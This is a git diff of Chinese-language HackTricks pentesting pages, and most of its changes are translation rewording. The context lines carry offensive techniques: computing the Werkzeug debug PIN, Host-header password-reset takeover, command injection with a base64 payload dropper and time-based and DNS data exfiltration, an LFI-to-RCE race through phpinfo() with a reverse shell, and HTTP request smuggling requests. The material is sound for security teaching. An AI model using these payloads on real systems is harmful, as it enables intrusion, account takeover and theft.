* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: 通常解析为 **Flask**。
|
||||
* **`getattr(mod, '__file__', None)`**: 表示 Flask 目录中 `app.py` 的完整路径(例如,`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。如果 `app.py` 不适用,**尝试 `app.pyc`**。
|
||||
|
||||
#### **`private_bits`**
|
||||
|
||||
* **`uuid.getnode()`**:获取当前机器的 MAC 地址,`str(uuid.getnode())` 将其转换为十进制格式。
|
||||
* 要 **确定服务器的 MAC 地址**,必须识别应用使用的活动网络接口(例如,`ens3`)。如果不确定,**泄露 `/proc/net/arp`** 以查找设备 ID,然后 **从 `/sys/class/net/<device id>/address` 提取 MAC 地址**。
|
||||
* **`uuid.getnode()`**: 获取当前机器的 MAC 地址,`str(uuid.getnode())` 将其转换为十进制格式。
|
||||
* 要 **确定服务器的 MAC 地址**,必须识别应用使用的活动网络接口(例如,`ens3`)。如果不确定,**泄露 `/proc/net/arp`** 以找到设备 ID,然后 **从 `/sys/class/net/<device id>/address`** 中提取 MAC 地址。
|
||||
* 可以按如下方式将十六进制 MAC 地址转换为十进制:
|
||||
|
||||
```python
|
||||
|
@ -67,11 +67,11 @@ shell that runs the server
|
|||
>>> print(0x5600027a23ac)
|
||||
94558041547692
|
||||
```
|
||||
* **`get_machine_id()`**:将 `/etc/machine-id` 或 `/proc/sys/kernel/random/boot_id` 中的数据与 `/proc/self/cgroup` 的第一行在最后一个斜杠(`/`)之后的部分连接起来。
|
||||
* **`get_machine_id()`**: 将 `/etc/machine-id` 或 `/proc/sys/kernel/random/boot_id` 中的数据与 `/proc/self/cgroup` 中最后一个斜杠 (`/`) 后的第一行连接起来。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>`get_machine_id()` 的代码</summary>
|
||||
<summary>代码 `get_machine_id()`</summary>
|
||||
```python
|
||||
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||||
global _machine_id
|
||||
|
@ -167,7 +167,7 @@ print(rv)
|
|||
|
||||
## Werkzeug Unicode 字符
|
||||
|
||||
正如在 [**这个问题**](https://github.com/pallets/werkzeug/issues/2833) 中观察到的,Werkzeug 不会关闭带有 Unicode 字符的请求头。而正如在 [**这个写作**](https://mizu.re/post/twisty-python) 中解释的,这可能导致 CL.0 请求走私漏洞。
|
||||
正如在 [**这个问题**](https://github.com/pallets/werkzeug/issues/2833) 中观察到的,Werkzeug 不会关闭带有 Unicode 字符的请求头。正如在 [**这个写作**](https://mizu.re/post/twisty-python) 中解释的,这可能导致 CL.0 请求走私漏洞。
|
||||
|
||||
这是因为,在 Werkzeug 中可以发送一些 **Unicode** 字符,这会导致服务器 **崩溃**。然而,如果 HTTP 连接是通过 **`Connection: keep-alive`** 头创建的,请求的主体将不会被读取,连接仍将保持打开状态,因此请求的 **主体** 将被视为 **下一个 HTTP 请求**。
|
||||
|
||||
|
@ -184,9 +184,9 @@ print(rv)
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**获取黑客对您的网络应用、网络和云的看法**
|
||||
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多种自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -199,7 +199,7 @@ print(rv)
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,23 +9,23 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
### 主机头
|
||||
|
||||
几次后端信任 **Host header** 来执行某些操作。例如,它可能会使用其值作为 **发送密码重置的域**。因此,当您收到一封包含重置密码链接的电子邮件时,使用的域是您在 Host header 中输入的域。然后,您可以请求其他用户的密码重置,并将域更改为您控制的域,以窃取他们的密码重置代码。[WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。
|
||||
几次后端信任 **Host header** 来执行某些操作。例如,它可能会使用其值作为 **发送密码重置的域**。因此,当您收到一封带有重置密码链接的电子邮件时,使用的域是您在 Host header 中输入的域。然后,您可以请求其他用户的密码重置,并将域更改为您控制的域,以窃取他们的密码重置代码。[WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,您甚至可能不需要等待用户点击重置密码链接来获取令牌,因为可能连 **垃圾邮件过滤器或其他中介设备/机器人都会点击它进行分析**。
|
||||
|
@ -38,13 +38,13 @@
|
|||
|
||||
### 注册功能
|
||||
|
||||
尝试以已存在用户的身份注册。还可以尝试使用等效字符(点、多个空格和 Unicode)。
|
||||
尝试以已存在用户的身份注册。也尝试使用等效字符(点、多个空格和 Unicode)。
|
||||
|
||||
### 接管电子邮件
|
||||
|
||||
注册一个电子邮件,在确认之前更改电子邮件,然后,如果新的确认电子邮件发送到第一个注册的电子邮件,您可以接管任何电子邮件。或者,如果您可以启用第二个电子邮件以确认第一个电子邮件,您也可以接管任何帐户。
|
||||
注册一个电子邮件,在确认之前更改电子邮件,然后,如果新的确认电子邮件发送到第一个注册的电子邮件,您可以接管任何电子邮件。或者如果您可以启用第二个电子邮件确认第一个电子邮件,您也可以接管任何账户。
|
||||
|
||||
### 访问使用 Atlassian 的公司的内部服务台
|
||||
### 访问使用 Atlassian 的公司内部服务台
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
|
||||
|
@ -57,9 +57,9 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -72,8 +72,8 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,9 +17,9 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度审视您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -29,7 +29,7 @@
|
|||
|
||||
### 上下文
|
||||
|
||||
根据 **您的输入被注入的位置**,您可能需要在命令之前 **终止引用上下文**(使用 `"` 或 `'`)。
|
||||
根据 **您的输入被注入的位置**,您可能需要在命令之前 **终止引号上下文**(使用 `"` 或 `'`)。
|
||||
|
||||
## 命令注入/执行
|
||||
```bash
|
||||
|
@ -96,7 +96,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
|||
```
|
||||
### 基于时间的数据外泄
|
||||
|
||||
逐字符提取数据:
|
||||
逐字符提取数据:
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
|
@ -108,7 +108,7 @@ real 0m0.002s
|
|||
user 0m0.000s
|
||||
sys 0m0.000s
|
||||
```
|
||||
### 基于DNS的数据外泄
|
||||
### DNS 基于数据外泄
|
||||
|
||||
基于工具 `https://github.com/HoLyVieR/dnsbin`,也托管在 dnsbin.zhack.ca
|
||||
```
|
||||
|
@ -156,16 +156,16 @@ powershell C:**2\n??e*d.*? # notepad
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多种自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -8,14 +8,14 @@
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
|
@ -32,23 +32,23 @@
|
|||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
您还需要更改漏洞利用的**payload**(例如,使用php-rev-shell),**REQ1**(这应该指向phpinfo页面,并且应该包含填充,即:_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_),以及**LFIREQ**(这应该指向LFI漏洞,即:_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 在利用空字符时检查双“%”)
|
||||
你还需要更改**payload**在利用的开始(例如,使用php-rev-shell),**REQ1**(这应该指向phpinfo页面并包含填充,即:_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_),以及**LFIREQ**(这应该指向LFI漏洞,即:_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 在利用空字符时检查双“%”)
|
||||
|
||||
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||
|
||||
### 理论
|
||||
|
||||
如果在PHP中允许上传文件,并且您尝试上传文件,则这些文件会存储在临时目录中,直到服务器处理完请求,然后这些临时文件会被删除。
|
||||
如果在PHP中允许上传文件,并且你尝试上传一个文件,这个文件会存储在一个临时目录中,直到服务器处理完请求,然后这个临时文件会被删除。
|
||||
|
||||
然后,如果您在Web服务器中发现了LFI漏洞,您可以尝试猜测创建的临时文件的名称,并在文件被删除之前通过访问临时文件来利用RCE。
|
||||
然后,如果你在web服务器中发现了LFI漏洞,你可以尝试猜测创建的临时文件的名称,并通过在文件被删除之前访问临时文件来利用RCE。
|
||||
|
||||
在**Windows**中,文件通常存储在**C:\Windows\temp\php**
|
||||
|
||||
在**linux**中,文件的名称通常是**随机的**,并位于**/tmp**。由于名称是随机的,因此需要**从某处提取临时文件的名称**,并在文件被删除之前访问它。这可以通过读取函数“**phpconfig()**”内容中的**变量$\_FILES**的值来完成。
|
||||
在**linux**中,文件的名称通常是**随机的**,并位于**/tmp**。由于名称是随机的,需要**从某处提取临时文件的名称**并在文件被删除之前访问它。这可以通过读取函数“**phpconfig()**”内容中的**变量$\_FILES**的值来完成。
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP**使用**4096B**的缓冲区,当它**满**时,它会被**发送到客户端**。然后客户端可以**发送** **大量大请求**(使用大头部)**上传一个php**反向**shell**,等待**phpinfo()的第一部分返回**(其中包含临时文件的名称),并尝试在php服务器删除文件之前通过利用LFI漏洞**访问临时文件**。
|
||||
**PHP**使用**4096B**的缓冲区,当它**满**时,它会被**发送到客户端**。然后客户端可以**发送****大量的大请求**(使用大头部)**上传一个php**反向**shell**,等待**phpinfo()的第一部分返回**(其中包含临时文件的名称),并尝试在php服务器删除文件之前通过利用LFI漏洞**访问临时文件**。
|
||||
|
||||
**Python脚本尝试暴力破解名称(如果长度=6)**
|
||||
```python
|
||||
|
@ -74,22 +74,22 @@ print('[x] Something went wrong, please try again')
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,7 +17,7 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
|
@ -25,7 +25,7 @@
|
|||
|
||||
## 什么是
|
||||
|
||||
当 **前端代理** 和 **后端** 服务器之间发生 **不同步** 时,允许 **攻击者** 发送一个 HTTP **请求**,该请求将被 **前端** 代理(负载均衡/反向代理)解释为 **单个请求**,而被 **后端** 服务器解释为 **两个请求**。\
|
||||
当 **前端代理** 和 **后端** 服务器之间发生 **不同步** 时,允许 **攻击者** 发送一个 HTTP **请求**,该请求将被 **前端** 代理(负载均衡/反向代理)解释为 **单个请求**,而被 **后端** 服务器解释为 **2 个请求**。\
|
||||
这使得用户能够 **修改到达后端服务器的下一个请求**。
|
||||
|
||||
### 理论
|
||||
|
@ -46,20 +46,20 @@
|
|||
### 现实
|
||||
|
||||
**前端**(负载均衡/反向代理)**处理** _**content-length**_ 或 _**transfer-encoding**_ 头,而 **后端** 服务器 **处理另一个**,导致两个系统之间的 **不同步**。\
|
||||
这可能非常关键,因为 **攻击者将能够向反向代理发送一个请求**,该请求将被 **后端** 服务器 **解释为两个不同的请求**。这种技术的 **危险** 在于 **后端** 服务器 **将解释** **注入的第二个请求**,就好像它 **来自下一个客户端**,而该客户端的 **真实请求** 将是 **注入请求** 的 **一部分**。
|
||||
这可能非常关键,因为 **攻击者将能够向反向代理发送一个请求**,该请求将被 **后端** 服务器 **解释为 2 个不同的请求**。这种技术的 **危险** 在于 **后端** 服务器 **将解释** **注入的第 2 个请求**,就好像它 **来自下一个客户端**,而该客户端的 **真实请求** 将是 **注入请求** 的 **一部分**。
|
||||
|
||||
### 特点
|
||||
|
||||
请记住,在 HTTP 中 **换行符由 2 个字节组成:**
|
||||
|
||||
* **Content-Length**:此头使用 **十进制数字** 指示请求 **主体** 的 **字节数**。主体预计在最后一个字符结束,**请求末尾不需要换行符**。
|
||||
* **Transfer-Encoding:** 此头在 **主体** 中使用 **十六进制数字** 指示 **下一个块** 的 **字节数**。**块** 必须以 **换行符** 结束,但此换行符 **不计入** 长度指示符。此传输方法必须以 **大小为 0 的块后跟 2 个换行符** 结束:`0`
|
||||
* **Connection**:根据我的经验,建议在请求走私的第一个请求中使用 **`Connection: keep-alive`**。
|
||||
* **Content-Length**:此头使用 **十进制数字** 指示请求 **主体** 的 **字节数**。主体预计在最后一个字符结束,**请求末尾不需要换行**。
|
||||
* **Transfer-Encoding:** 此头在 **主体** 中使用 **十六进制数字** 指示 **下一个块** 的 **字节数**。**块** 必须以 **换行** 结束,但此换行 **不计入** 长度指示符。此传输方法必须以 **大小为 0 的块后跟 2 个换行** 结束:`0`
|
||||
* **Connection**:根据我的经验,建议在请求 Smuggling 的第一个请求中使用 **`Connection: keep-alive`**。
|
||||
|
||||
## 基本示例
|
||||
|
||||
{% hint style="success" %}
|
||||
在尝试使用 Burp Suite 利用此漏洞时,**禁用 `Update Content-Length` 和 `Normalize HTTP/1 line endings`**,因为某些工具滥用换行符、回车符和格式错误的内容长度。
|
||||
在尝试使用 Burp Suite 利用此漏洞时,**禁用 `Update Content-Length` 和 `Normalize HTTP/1 line endings`**,因为某些工具滥用换行符、回车和格式错误的内容长度。
|
||||
{% endhint %}
|
||||
|
||||
HTTP 请求走私攻击是通过发送模棱两可的请求来构造的,这些请求利用了前端和后端服务器在解释 `Content-Length` (CL) 和 `Transfer-Encoding` (TE) 头时的差异。这些攻击可以以不同形式表现,主要为 **CL.TE**、**TE.CL** 和 **TE.TE**。每种类型代表前端和后端服务器如何优先处理这些头的独特组合。漏洞源于服务器以不同方式处理相同请求,导致意外和潜在的恶意结果。
|
||||
|
@ -125,11 +125,11 @@ x=
|
|||
|
||||
#### TE.TE 漏洞(两者都使用 Transfer-Encoding,带混淆)
|
||||
|
||||
* **服务器:** 两者都支持 `Transfer-Encoding`,但可以通过混淆被欺骗以忽略它。
|
||||
* **服务器:** 两者都支持 `Transfer-Encoding`,但可以通过混淆来欺骗其中一个忽略它。
|
||||
* **攻击场景:**
|
||||
* 攻击者发送一个带有混淆 `Transfer-Encoding` 头的请求。
|
||||
* 根据哪个服务器(前端或后端)未能识别混淆,可能会利用 CL.TE 或 TE.CL 漏洞。
|
||||
* 请求中未处理的部分,作为其中一个服务器所见,成为后续请求的一部分,导致走私。
|
||||
* 请求中未处理的部分在其中一个服务器看来成为后续请求的一部分,从而导致走私。
|
||||
* **示例:**
|
||||
|
||||
```
|
||||
|
@ -161,7 +161,7 @@ Host: vulnerable-website.com
|
|||
Content-Length: 16
|
||||
Connection: keep-alive
|
||||
|
||||
Normal Request
|
||||
正常请求
|
||||
```
|
||||
|
||||
#### **CL.0 场景**
|
||||
|
@ -176,13 +176,13 @@ Host: vulnerable-website.com
|
|||
Content-Length: 16
|
||||
Connection: keep-alive
|
||||
|
||||
Non-Empty Body
|
||||
非空主体
|
||||
```
|
||||
|
||||
#### TE.0 场景
|
||||
|
||||
* 类似于前一个场景,但使用 TE。
|
||||
* 技术 [在此报告](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
* 技术 [在这里报告](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
* **示例**:
|
||||
```
|
||||
OPTIONS / HTTP/1.1
|
||||
|
@ -213,7 +213,7 @@ EMPTY_LINE_HERE
|
|||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
For **更多关于 hop-by-hop 头部的信息** 访问:
|
||||
For **更多关于 hop-by-hop headers 的信息** 访问:
|
||||
|
||||
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
|
||||
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
|
||||
|
@ -274,9 +274,9 @@ X
|
|||
* **使用自动化工具:**
|
||||
* 像 Burp Suite 的 'HTTP Request Smuggler' 扩展可以通过发送各种模糊请求并分析响应,自动测试这些漏洞。
|
||||
* **Content-Length 变异测试:**
|
||||
* 发送具有不同 `Content-Length` 值的请求,这些值与实际内容长度不一致,并观察服务器如何处理这些不匹配。
|
||||
* 发送具有不同 `Content-Length` 值的请求,这些值与实际内容长度不一致,并观察服务器如何处理此类不匹配。
|
||||
* **Transfer-Encoding 变异测试:**
|
||||
* 发送具有模糊或格式错误的 `Transfer-Encoding` 头部的请求,并监控前端和后端服务器如何对这些操控做出不同响应。
|
||||
* 发送具有模糊或格式错误的 `Transfer-Encoding` 头的请求,并监控前端和后端服务器如何对这些操控做出不同响应。
|
||||
|
||||
### HTTP 请求走私漏洞测试
|
||||
|
||||
|
@ -317,7 +317,7 @@ Content-Length: 10
|
|||
|
||||
x=
|
||||
```
|
||||
